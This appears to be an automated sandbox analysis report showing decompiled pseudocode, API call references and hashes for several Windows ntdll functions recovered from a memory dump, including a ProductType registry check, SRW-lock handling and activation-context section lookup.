ZwCreateSection.1105(00000000,000F0005,00000000,00000000,02BE0000,08000000,00000000,6D27D77E,00000000,?,?,00000000,?,02BE0000), ref: 6D27D8D7
ZwMapViewOfSection.1105(00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000,08000000), ref: 6D27D8FF
ZwClose.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6D27D90F
RtlImageNtHeader.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6D27D91E
ZwClose.1105(00000000,?,6D27D77E,00000000,?,?,00000000,?,02BE0000), ref: 6D2BB1C9
RtlFreeHeap.1105(?,00000000,?,00000000,?,6D27D77E,00000000,?,?,00000000,?,02BE0000), ref: 6D2BB1DB

Part of subcall function 6D27D976: ZwCreateFile.1105(00000000,80100080,00000018,?,00000000,00000000,00000005,00000001,00000000,00000000,00000000,?,02BE0000,00000000,00000000), ref: 6D27D999

ZwClose.1105(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000), ref: 6D2BB1F9
ZwUnmapViewOfSection.1105(000000FF,00000000,6D27D77E,00000000,?,?,00000000,?,02BE0000), ref: 6D2BB218

Strings

@, xrefs: 6D27D883

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHeaderImageSection$CreateFreeHeapView$FileInitStringUnicodeUnmap
String ID: @
API String ID: 3014096824-2766056989
Opcode ID: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction ID: 0ab8c700e9b22a251997633fe63aaa35ce743ca281a5581dd5ad10f806c15982
Opcode Fuzzy Hash: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction Fuzzy Hash: 98618D71D9821EEBDF21CFA8C840FAEBBB4FF85715F114169E924A7290D7749A01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6D2F64FB, Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 125
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6D2F64FB(intOrPtr* __ecx) {
				signed int _v8;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char* _v52;
				short _v54;
				void* _v56;
				char* _v60;
				char _v64;
				char* _v68;
				short _v70;
				char _v72;
				char* _v76;
				short _v78;
				void* _v80;
				char* _v84;
				short _v86;
				void* _v88;
				char* _v92;
				short _v94;
				void* _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char* _v112;
				intOrPtr _v116;
				char _v120;
				char _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t48;
				short _t49;
				void* _t50;
				short _t51;
				void* _t55;
				void* _t62;
				void* _t77;
				short _t81;
				short _t82;
				intOrPtr* _t83;
				signed int _t85;

				_v8 =  *0x6d33d360 ^ _t85;
				_t48 = 0x16;
				_t82 = 0x18;
				_t83 = __ecx;
				_v72 = _t48;
				_t77 = 0x10;
				_t49 = 0x12;
				_v86 = _t49;
				_v94 = _t49;
				_t50 = 0xa;
				_v80 = _t50;
				_t51 = 0xc;
				_v78 = _t51;
				_v112 =  &_v64;
				_push( &_v120);
				_v88 = _t77;
				_v96 = _t77;
				_push(1);
				_push( &_v48);
				_v64 = 0x840082;
				_v60 = L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\ProductOptions";
				_v70 = _t82;
				_v68 = L"ProductType";
				_v84 = L"LanmanNt";
				_v92 = L"ServerNt";
				_v76 = L"WinNt";
				_v48 = 0;
				_v120 = _t82;
				_v116 = 0;
				_v108 = 0x240;
				_v104 = 0;
				_v100 = 0;
				_t55 = E6D289600();
				_t84 = _t55;
				if(_t55 >= 0) {
					_push( &_v124);
					_push(0x24);
					_push( &_v44);
					_push(2);
					_push( &_v72);
					_push(_v48);
					_t62 = E6D289650();
					_t84 = _t62;
					if(_t62 >= 0) {
						if(_v40 != 1) {
							L10:
							_t84 = 0xc000090b;
						} else {
							_t31 =  &_v36; // 0x6d2b6637
							_t81 =  *_t31;
							if(_t81 < 2) {
								goto L10;
							} else {
								_v54 = _t81;
								_v52 =  &_v32;
								_v56 = _t81 - 2;
								if(RtlEqualUnicodeString( &_v56,  &_v80, 1) == 0) {
									if(RtlEqualUnicodeString( &_v56,  &_v88, 1) == 0) {
										if(RtlEqualUnicodeString( &_v56,  &_v96, 1) == 0) {
											goto L10;
										} else {
											 *_t83 = 3;
										}
									} else {
										 *_t83 = 2;
									}
								} else {
									 *_t83 = 1;
								}
							}
						}
					}
				}
				if(_v48 != 0) {
					_push(_v48);
					E6D2895D0();
				}
				return E6D28B640(_t84, 1, _v8 ^ _t85, _t82, _t83, _t84);
			}

0x6d2f650a
0x6d2f6512
0x6d2f6515
0x6d2f6518
0x6d2f651a
0x6d2f651e
0x6d2f6521
0x6d2f6524
0x6d2f652a
0x6d2f652f
0x6d2f6532
0x6d2f6536
0x6d2f6537
0x6d2f653e
0x6d2f6544
0x6d2f6545
0x6d2f654c
0x6d2f6552
0x6d2f6553
0x6d2f6554
0x6d2f655b
0x6d2f6562
0x6d2f6566
0x6d2f656d
0x6d2f6574
0x6d2f657b
0x6d2f6582
0x6d2f6585
0x6d2f6588
0x6d2f658b
0x6d2f6592
0x6d2f6595
0x6d2f6598
0x6d2f659d
0x6d2f65a1
0x6d2f65aa
0x6d2f65ab
0x6d2f65b0
0x6d2f65b1
0x6d2f65b6
0x6d2f65b7
0x6d2f65ba
0x6d2f65bf
0x6d2f65c3
0x6d2f65c8
0x6d2f662d
0x6d2f662d
0x6d2f65ca
0x6d2f65ca
0x6d2f65ca
0x6d2f65d0
0x00000000
0x6d2f65d2
0x6d2f65d5
0x6d2f65d9
0x6d2f65df
0x6d2f65f3
0x6d2f6609
0x6d2f6623
0x00000000
0x6d2f6625
0x6d2f6625
0x6d2f6625
0x6d2f660b
0x6d2f660b
0x6d2f660b
0x6d2f65f5
0x6d2f65f5
0x6d2f65f5
0x6d2f65f3
0x6d2f65d0
0x6d2f65c8
0x6d2f65c3
0x6d2f6636
0x6d2f6638
0x6d2f663b
0x6d2f663b
0x6d2f6652

APIs

ZwOpenKey.1105(?,00000001,?,00000124,00000000,00000000), ref: 6D2F6598

Part of subcall function 6D289600: LdrInitializeThunk.NTDLL(6D281119,?,?,00000018,?), ref: 6D28960A

ZwQueryValueKey.1105(?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6D2F65BA
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124,00000000,00000000), ref: 6D2F65EC
RtlEqualUnicodeString.1105(?,?,00000001,?,?,00000001,?,?,00000002,?,00000024,?,?,00000001,?,00000124), ref: 6D2F6602
ZwClose.1105(00000000,?,00000001,?,00000124,00000000,00000000), ref: 6D2F663B

Strings

ServerNt, xrefs: 6D2F6574
\Registry\Machine\System\CurrentControlSet\Control\ProductOptions, xrefs: 6D2F655B
7f+m, xrefs: 6D2F65CA
WinNt, xrefs: 6D2F657B
ProductType, xrefs: 6D2F6566
LanmanNt, xrefs: 6D2F656D

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$CloseInitializeOpenQueryThunkValue
String ID: 7f+m$LanmanNt$ProductType$ServerNt$WinNt$\Registry\Machine\System\CurrentControlSet\Control\ProductOptions
API String ID: 1342846649-2293569097
Opcode ID: 4c9e85d3edff8b798b0da32bb9938756caf8d6fc97b244df7639f2f86b02e11f
Instruction ID: d23d4429211dcd227631425dcddf00267ce273714232e71535e4acaa54dbd65e
Opcode Fuzzy Hash: 4c9e85d3edff8b798b0da32bb9938756caf8d6fc97b244df7639f2f86b02e11f
Instruction Fuzzy Hash: 61418DB2D8424DAADF10CFE4D981ADEF7B8FF44304F20452AE611BB240E7359909CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6D24395E, Relevance: 19.7, APIs: 13, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6D24395E(void* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t67;
				void* _t77;
				intOrPtr* _t81;
				signed int _t93;
				void* _t94;
				intOrPtr* _t97;
				intOrPtr* _t104;
				void* _t112;
				long _t113;
				signed int _t114;
				void* _t123;

				_v8 =  *0x6d33d360 ^ _t114;
				_v16 = __edx;
				_t93 = 0;
				_t112 = __ecx;
				_v12 = _v12 & 0;
				E6D26FAD0( *0x6d3384cc + 4);
				_t110 =  *0x6d3384cc + 8;
				_t97 =  *_t110;
				while(_t97 != _t110) {
					_t113 = _t97 - 0x1c;
					_t67 =  *((intOrPtr*)(_t112 + 0xc));
					if( *((intOrPtr*)(_t113 + 0x10)) !=  *((intOrPtr*)(_t112 + 8)) ||  *((intOrPtr*)(_t113 + 0x14)) != _t67 ||  *((intOrPtr*)(_t113 + 8)) !=  *_t112) {
						L21:
						_t97 =  *_t97;
						continue;
					} else {
						_t69 =  *((intOrPtr*)(_t113 + 0xc));
						if( *((intOrPtr*)(_t113 + 0xc)) !=  *((intOrPtr*)(_t112 + 4))) {
							goto L21;
						}
						_t94 = _t113 + 0x28;
						E6D262280(_t69, _t94);
						if( *(_t113 + 0x5c) == 2) {
							__eflags = _v16;
							if(_v16 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t113 + 0x58));
								 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
								 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & 0x00000000;
								L8:
								asm("lock inc dword [esi+0x50]");
								 *(_t113 + 0x5c) = 1;
								E6D25FFB0(_t94, _t112, _t94);
								_t123 =  *0x6d3384cc + 4;
								E6D26FA00(_t94, _t97, _t112,  *0x6d3384cc + 4);
								while(1) {
									_t95 = 0;
									_t77 = E6D243ACA(0, _t112, _t113, _t112, _t113, _t123, 0);
									_t124 = _t77 - 0xc000022d;
									if(_t77 == 0xc000022d) {
										_t95 = 0xc000022d;
									}
									_t110 = _t113;
									if(E6D243ACA(_t95, _t112, _t113, _t112, _t113, _t124, 1) == 0xc000022d) {
										_t93 = 0xc000022d;
									}
									E6D262280(_t113 + 0x28, _t113 + 0x28);
									_v12 = _v12 + 1;
									_t104 = _t113 + 0x2c;
									_t81 =  *_t104;
									while(_t81 != _t104) {
										 *(_t81 + 0x60) =  *(_t81 + 0x60) & 0x00000000;
										_t81 =  *_t81;
									}
									if( *(_t113 + 0x58) != 0) {
										_t112 =  *(_t113 + 0x58);
										 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
										E6D25FFB0(_t93, _t112, _t113 + 0x28);
										continue;
									}
									if(_t93 != 0) {
										__eflags = _t93 - 0xc000022d;
										if(_t93 == 0xc000022d) {
											 *(_t113 + 0x58) = _t112;
											 *(_t113 + 0x5c) = 2;
											E6D2D2DA1(_t113);
										}
										L17:
										E6D25FFB0(_t93, _t112, _t113 + 0x28);
										E6D27DE9E(_t113);
										L18:
										if(_v12 > 1) {
											_t113 = 0;
											_t49 = _t112 + 8; // 0x8
											_push(0);
											_push(0);
											_push(_t93);
											_push( *((intOrPtr*)(_t112 + 0x18)));
											_push(_t112);
											E6D28A3A0();
											__eflags = _t93;
											if(_t93 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t112);
											}
											_t93 = 0x80;
										}
										return E6D28B640(_t93, _t93, _v8 ^ _t114, _t110, _t112, _t113);
									}
									 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & _t93;
									if( *((intOrPtr*)(_t113 + 0x18)) != _t93) {
										__eflags =  *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18));
										if( *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18)) > 0) {
											goto L16;
										}
										goto L17;
									}
									L16:
									 *((intOrPtr*)(_t113 + 0x18)) =  *((intOrPtr*)(_t112 + 0x10));
									goto L17;
								}
							}
							_push(_t94);
							L27:
							E6D25FFB0(_t94, _t112);
							_t93 = 0x80;
							break;
						}
						if( *(_t113 + 0x5c) == 1) {
							__eflags = _v16;
							_push(_t94);
							if(_v16 != 0) {
								goto L27;
							}
							 *(_t113 + 0x58) = _t112;
							E6D25FFB0(_t94, _t112);
							_t93 = 0x103;
							break;
						}
						goto L8;
					}
				}
				E6D26FA00(_t93, _t97, _t112,  *0x6d3384cc + 4);
				goto L18;
			}

0x6d24396d
0x6d24397b
0x6d24397e
0x6d243980
0x6d243982
0x6d243986
0x6d243991
0x6d243994
0x6d243996
0x6d2439a1
0x6d2439a7
0x6d2439aa
0x6d243aa7
0x6d243aa7
0x00000000
0x6d2439c4
0x6d2439c4
0x6d2439ca
0x00000000
0x00000000
0x6d2439d0
0x6d2439d4
0x6d2439dd
0x6d29fffc
0x6d2a0000
0x6d2a0020
0x6d2a0025
0x6d2a0029
0x6d2439ed
0x6d2439ed
0x6d2439f2
0x6d2439f9
0x6d243a03
0x6d243a07
0x6d243a0c
0x6d243a0c
0x6d243a13
0x6d243a1d
0x6d243a1f
0x6d2a004b
0x6d2a004b
0x6d243a27
0x6d243a37
0x6d2a0052
0x6d2a0052
0x6d243a41
0x6d243a46
0x6d243a49
0x6d243a4c
0x6d243a4e
0x6d243a9f
0x6d243aa3
0x6d243aa3
0x6d243a56
0x6d2a0059
0x6d2a005f
0x6d2a0064
0x00000000
0x6d2a0064
0x6d243a5e
0x6d2a0073
0x6d2a0075
0x6d2a007d
0x6d2a0080
0x6d2a0087
0x6d2a0087
0x6d243a72
0x6d243a76
0x6d243a7d
0x6d243a82
0x6d243a86
0x6d2a0091
0x6d2a0093
0x6d2a0096
0x6d2a0097
0x6d2a0098
0x6d2a0099
0x6d2a009c
0x6d2a009e
0x6d2a00a3
0x6d2a00a5
0x6d2a00b2
0x6d2a00b2
0x6d2a00b7
0x6d2a00b7
0x6d243a9e
0x6d243a9e
0x6d243a64
0x6d243a6a
0x6d243ac4
0x6d243ac6
0x00000000
0x00000000
0x00000000
0x6d243ac8
0x6d243a6c
0x6d243a6f
0x00000000
0x6d243a6f
0x6d243a0c
0x6d2a0002
0x6d2a0003
0x6d2a0003
0x6d2a0008
0x00000000
0x6d2a0008
0x6d2439e7
0x6d2a0032
0x6d2a0036
0x6d2a0037
0x00000000
0x00000000
0x6d2a0039
0x6d2a003c
0x6d2a0041
0x00000000
0x6d2a0041
0x00000000
0x6d2439e7
0x6d2439aa
0x6d243ab7
0x00000000

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000000), ref: 6D243986
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000), ref: 6D2439D4
RtlReleaseSRWLockExclusive.1105(?), ref: 6D2439F9
RtlReleaseSRWLockShared.1105(?,?), ref: 6D243A07
RtlAcquireSRWLockExclusive.1105(?,00000001,00000000,?,?), ref: 6D243A41
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000001,00000000,?,?), ref: 6D243A76
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000000), ref: 6D243AB7

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: bd93ef62603115e26cdd7a844beb931d01bf7ba74c827f6463ba69d5d98c0a5b
Instruction ID: b46402e1b37c4f8ab9cda621d0e7d9be68774579181005c68947d6fd23487f09
Opcode Fuzzy Hash: bd93ef62603115e26cdd7a844beb931d01bf7ba74c827f6463ba69d5d98c0a5b
Instruction Fuzzy Hash: 25518D716D575A9FCB25AF5AC484F6BB3B8FB4531EF01886DD50287A50C774E884CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6D262D50, Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 397
COMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E6D262D50(signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, char _a20) {
				signed int _v8;
				char _v12;
				char _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				signed int _v48;
				intOrPtr _v52;
				char _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				char _v89;
				void* _v96;
				void* _v100;
				void* _v113;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t131;
				intOrPtr* _t134;
				intOrPtr _t139;
				void* _t140;
				signed int _t150;
				signed int _t156;
				intOrPtr* _t167;
				intOrPtr _t168;
				signed int _t169;
				void* _t174;
				intOrPtr _t175;
				signed int _t176;
				void* _t177;
				intOrPtr _t179;
				signed int _t180;
				signed int _t184;
				intOrPtr _t189;
				void* _t200;
				intOrPtr* _t201;
				intOrPtr _t210;
				signed int _t211;
				void* _t212;
				void* _t224;
				intOrPtr _t226;
				signed int _t227;
				void* _t228;
				void* _t230;
				signed int _t231;
				signed int _t232;
				void* _t233;
				signed int _t237;
				signed int _t239;

				_t239 = (_t237 & 0xfffffff8) - 0x44;
				_v8 =  *0x6d33d360 ^ _t239;
				_t184 =  *[fs:0x18];
				_t131 =  *((intOrPtr*)(_t184 + 0x30));
				if( *((intOrPtr*)(_t131 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t131 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t184 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t132 = 0xc0150001;
						goto L33;
					}
				} else {
					L1:
					_v48 = 0;
					_v12 = 0xffffffff;
					_v16 = 0;
					if(_a16 == 0) {
						L81:
						_t132 = 0xc000000d;
						goto L33;
					} else {
						_t222 = _a4;
						if((_t222 & 0xfffffff8) != 0) {
							goto L81;
						} else {
							_t11 =  &_a20; // 0x6d262a25
							_t134 =  *_t11;
							if((_t222 & 0x00000007) == 0) {
								if(_t134 != 0) {
									goto L5;
								} else {
									goto L6;
								}
							} else {
								if(_t134 == 0) {
									goto L81;
								} else {
									L5:
									if( *_t134 < 0x24) {
										goto L81;
									} else {
										L6:
										if((_t222 & 0x00000002) == 0) {
											L9:
											if((_t222 & 0x00000004) != 0) {
												if(_t134 + 0x40 <=  *_t134 + _t134) {
													goto L10;
												} else {
													_push(0xc000000d);
													_push("RtlpFindActivationContextSection_CheckParameters");
													_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
													goto L80;
												}
											} else {
												L10:
												_t231 = _a8;
												_v36 = _t222;
												_t222 =  *[fs:0x18];
												_v28 = _a12;
												_v24 = 0;
												_t175 = _v24;
												_t189 =  *((intOrPtr*)(_t222 + 0x30));
												_v40 = 0x18;
												_v20 = 0;
												_v32 = _t231;
												_v64 = 0;
												_v60 = _t222;
												_v52 = _t189;
												while(1) {
													_t139 = _t175;
													if(_t139 != 0) {
														goto L34;
													}
													_t167 =  *((intOrPtr*)(_t222 + 0x1a8));
													if(_t167 == 0) {
														L14:
														_t226 =  *((intOrPtr*)(_t189 + 0x1f8));
														_v64 = 0;
														if(_t226 == 0) {
															L36:
															_t226 =  *((intOrPtr*)(_t189 + 0x200));
															_v64 = 0xfffffffc;
															if(_t226 == 0) {
																L86:
																if(_t175 <= 3) {
																	goto L16;
																} else {
																	_t132 = 0xc00000e5;
																	goto L89;
																}
															} else {
																_t175 = 3;
																_v24 = 3;
																goto L16;
															}
														} else {
															_t175 = 2;
															_v24 = 2;
															goto L16;
														}
													} else {
														_t168 =  *_t167;
														if(_t168 != 0) {
															_t169 =  *((intOrPtr*)(_t168 + 4));
															_v64 = _t169;
															if(_t169 == 0) {
																L58:
																if(_t226 == 0) {
																	goto L14;
																} else {
																	goto L59;
																}
															} else {
																if(_t169 == 0xfffffffc) {
																	_t226 =  *((intOrPtr*)(_t189 + 0x200));
																	goto L58;
																} else {
																	if(_t169 == 0xfffffffd) {
																		_t226 = "Actx ";
																		L59:
																		_t175 = 1;
																		_v24 = 1;
																		L16:
																		if(_t226 == 0) {
																			_t132 = 0xc0150001;
																			L89:
																			_t232 = 0;
																			goto L90;
																		} else {
																			_t222 = _t231;
																			_t132 = E6D2631F0(_t226, _t231, _a12,  &_v56,  &_v48);
																			if(_t132 < 0) {
																				_t232 = 0;
																				if(_t132 != 0xc0150001 || _t175 == 3) {
																					goto L19;
																				} else {
																					_t189 = _v52;
																					_t222 = _v60;
																					_t231 = _a8;
																					continue;
																				}
																			} else {
																				_t222 = _v64;
																				_v20 = (0 | _t222 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t222 == 0x00000000;
																				asm("sbb esi, esi");
																				_t232 =  ~(_t222 - 0xfffffffc) & _t222;
																				_t132 = 0;
																				L19:
																				if(_t132 < 0) {
																					L90:
																					if(_t132 < 0) {
																						goto L33;
																					} else {
																						goto L20;
																					}
																				} else {
																					L20:
																					_t176 = _v48;
																					if(_t176 < 0x2c) {
																						L104:
																						_t142 = _v56;
																						goto L105;
																					} else {
																						_t46 =  &_a20; // 0x6d262a25
																						_t227 =  *_t46;
																						while(1) {
																							L22:
																							_t142 = _v56;
																							if( *_v56 != 0x64487353) {
																								break;
																							}
																							_t239 = _t239 - 8;
																							_t222 = _t176;
																							_push( &_v16);
																							_push( &_v12);
																							_push(_t227);
																							_push(_a16);
																							_t132 = E6D263360(_t142, _t176);
																							if(_t132 >= 0) {
																								_t85 = _t232 - 1; // -1
																								if((_t85 | 0x00000007) != 0xffffffff) {
																									_t150 =  *(_t232 + 0x14);
																									 *(_t239 + 0x28) = _t150;
																									if(_t150 != 0 && (( *(_t232 + 0x1c) & 0x00000008) == 0 || ( *(_t232 + 0x3c) & 0x00000008) == 0)) {
																										 *((char*)(_t239 + 0x13)) = 0;
																										 *0x6d33b1e0(3, _t232,  *((intOrPtr*)(_t232 + 0x10)),  *((intOrPtr*)(_t232 + 0x18)), 0, _t239 + 0x13);
																										 *((intOrPtr*)(_t239 + 0x40))();
																										 *(_t232 + 0x1c) =  *(_t232 + 0x1c) | 0x00000008;
																										if(_v89 != 0) {
																											 *(_t232 + 0x3c) =  *(_t232 + 0x3c) | 0x00000008;
																										}
																									}
																								}
																								if(_t227 == 0) {
																									L66:
																									_pop(_t228);
																									_pop(_t233);
																									_pop(_t177);
																									return E6D28B640(0, _t177, _v8 ^ _t239, _t222, _t228, _t233);
																								} else {
																									_t148 = _v56;
																									_t222 = _t227;
																									if(E6D26FD1F(_a4, _t227, _t232,  &_v40, _v56,  *((intOrPtr*)(_v56 + 0x24)),  *((intOrPtr*)(_t148 + 0x28)), _t176) < 0) {
																										goto L33;
																									} else {
																										goto L66;
																									}
																								}
																							} else {
																								if(_t132 != 0xc0150008) {
																									L33:
																									_pop(_t224);
																									_pop(_t230);
																									_pop(_t174);
																									return E6D28B640(_t132, _t174, _v8 ^ _t239, _t222, _t224, _t230);
																								} else {
																									_t222 =  *[fs:0x18];
																									_t232 = 0;
																									_v64 = 0;
																									 *(_t239 + 0x28) = _t222;
																									_v60 = 0;
																									_v52 =  *((intOrPtr*)(_t222 + 0x30));
																									_t179 = _v24;
																									L26:
																									while(1) {
																										if(_t179 <= 2) {
																											_t200 = _t179 - _t232;
																											if(_t200 == 0) {
																												_t201 =  *((intOrPtr*)(_t222 + 0x1a8));
																												if(_t201 == 0) {
																													goto L67;
																												} else {
																													_t210 =  *_t201;
																													if(_t210 == 0) {
																														goto L67;
																													} else {
																														_t211 =  *((intOrPtr*)(_t210 + 4));
																														_v60 = _t211;
																														if(_t211 == 0) {
																															L101:
																															if(_t156 == 0) {
																																goto L67;
																															} else {
																																goto L102;
																															}
																														} else {
																															if(_t211 != 0xfffffffc) {
																																if(_t211 != 0xfffffffd) {
																																	_t156 =  *(_t211 + 0x10);
																																	goto L100;
																																} else {
																																	_t156 = "Actx ";
																																	_v64 = _t156;
																																	L102:
																																	_t179 = 1;
																																	_v24 = 1;
																																	goto L28;
																																}
																															} else {
																																_t156 =  *(_v52 + 0x200);
																																L100:
																																_v64 = _t156;
																																goto L101;
																															}
																														}
																													}
																												}
																											} else {
																												_t212 = _t200 - 1;
																												if(_t212 == 0) {
																													L67:
																													_v60 = 0;
																													_t156 =  *(_v52 + 0x1f8);
																													_v64 = _t156;
																													if(_t156 == 0) {
																														goto L44;
																													} else {
																														_t179 = 2;
																														_v24 = 2;
																														goto L28;
																													}
																												} else {
																													if(_t212 != 1) {
																														goto L27;
																													} else {
																														L44:
																														_v60 = 0xfffffffc;
																														_t156 =  *(_v52 + 0x200);
																														_v64 = _t156;
																														if(_t156 == 0) {
																															goto L27;
																														} else {
																															_t179 = 3;
																															_v24 = 3;
																															goto L28;
																														}
																													}
																												}
																											}
																										} else {
																											L27:
																											if(_t179 > 3) {
																												_t132 = 0xc00000e5;
																												goto L30;
																											} else {
																												L28:
																												if(_t156 != 0) {
																													_t222 = _a8;
																													_t132 = E6D2631F0(_t156, _a8, _a12,  &_v56,  &_v48);
																													if(_t132 < 0) {
																														if(_t132 != 0xc0150001 || _t179 == 3) {
																															_t180 = 0;
																															goto L48;
																														} else {
																															_t156 = _v64;
																															_t222 =  *(_t239 + 0x28);
																															continue;
																														}
																													} else {
																														_t222 = _v60;
																														_v20 = (0 | _t222 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t222 == 0x00000000;
																														asm("sbb ebx, ebx");
																														_t180 =  ~(_t222 - 0xfffffffc) & _t222;
																														_t132 = 0;
																														L48:
																														if(_t132 < 0) {
																															goto L31;
																														} else {
																															E6D26F830(_t132, _t180);
																															_t232 = _t180;
																															goto L50;
																														}
																													}
																												} else {
																													_t132 = 0xc0150001;
																													L30:
																													if(_t132 >= 0) {
																														L50:
																														_t176 = _v48;
																														if(_t176 >= 0x2c) {
																															goto L22;
																														} else {
																															goto L104;
																														}
																													} else {
																														L31:
																														if(_t132 == 0xc0150001) {
																															_t132 = 0xc0150008;
																														}
																														goto L33;
																													}
																												}
																											}
																										}
																										goto L106;
																									}
																								}
																							}
																							goto L106;
																						}
																						L105:
																						_push(_t176);
																						E6D2D5720(0x33, 0, "RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section\n", _t142);
																						_t239 = _t239 + 0x14;
																						_t132 = 0xc0150003;
																						goto L33;
																					}
																				}
																			}
																		}
																	} else {
																		_t226 =  *((intOrPtr*)(_t169 + 0x10));
																		goto L58;
																	}
																}
															}
														} else {
															goto L14;
														}
													}
													goto L106;
													L34:
													_t140 = _t139 - 1;
													if(_t140 == 0) {
														goto L14;
													} else {
														if(_t140 != 1) {
															goto L86;
														} else {
															goto L36;
														}
													}
													goto L106;
												}
											}
										} else {
											if(_t134 + 0x2c >  *_t134 + _t134) {
												_push(0xc000000d);
												_push("RtlpFindActivationContextSection_CheckParameters");
												_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
												L80:
												_push(0);
												_push(0x33);
												E6D2D5720();
												_t239 = _t239 + 0x14;
												goto L81;
											} else {
												_t16 =  &_a20; // 0x6d262a25
												_t134 =  *_t16;
												goto L9;
											}
										}
									}
								}
							}
						}
					}
				}
				L106:
			}

0x6d262d58
0x6d262d62
0x6d262d66
0x6d262d70
0x6d262d7a
0x6d2630ad
0x00000000
0x6d2ad710
0x6d2ad710
0x00000000
0x6d2ad710
0x6d262d80
0x6d262d80
0x6d262d84
0x6d262d8c
0x6d262d94
0x6d262d9c
0x6d2ad735
0x6d2ad735
0x00000000
0x6d262da2
0x6d262da2
0x6d262dab
0x00000000
0x6d262db1
0x6d262db1
0x6d262db1
0x6d262db7
0x6d2631d4
0x00000000
0x6d2631da
0x00000000
0x6d2631da
0x6d262dbd
0x6d262dbf
0x00000000
0x6d262dc5
0x6d262dc5
0x6d262dc8
0x00000000
0x6d262dce
0x6d262dce
0x6d262dd1
0x6d262de5
0x6d262de8
0x6d2ad748
0x00000000
0x6d2ad74e
0x6d2ad74e
0x6d2ad753
0x6d2ad758
0x00000000
0x6d2ad758
0x6d262dee
0x6d262dee
0x6d262df3
0x6d262df6
0x6d262dfa
0x6d262e01
0x6d262e07
0x6d262e0f
0x6d262e13
0x6d262e16
0x6d262e1e
0x6d262e26
0x6d262e2a
0x6d262e2e
0x6d262e32
0x6d262e40
0x6d262e42
0x6d262e45
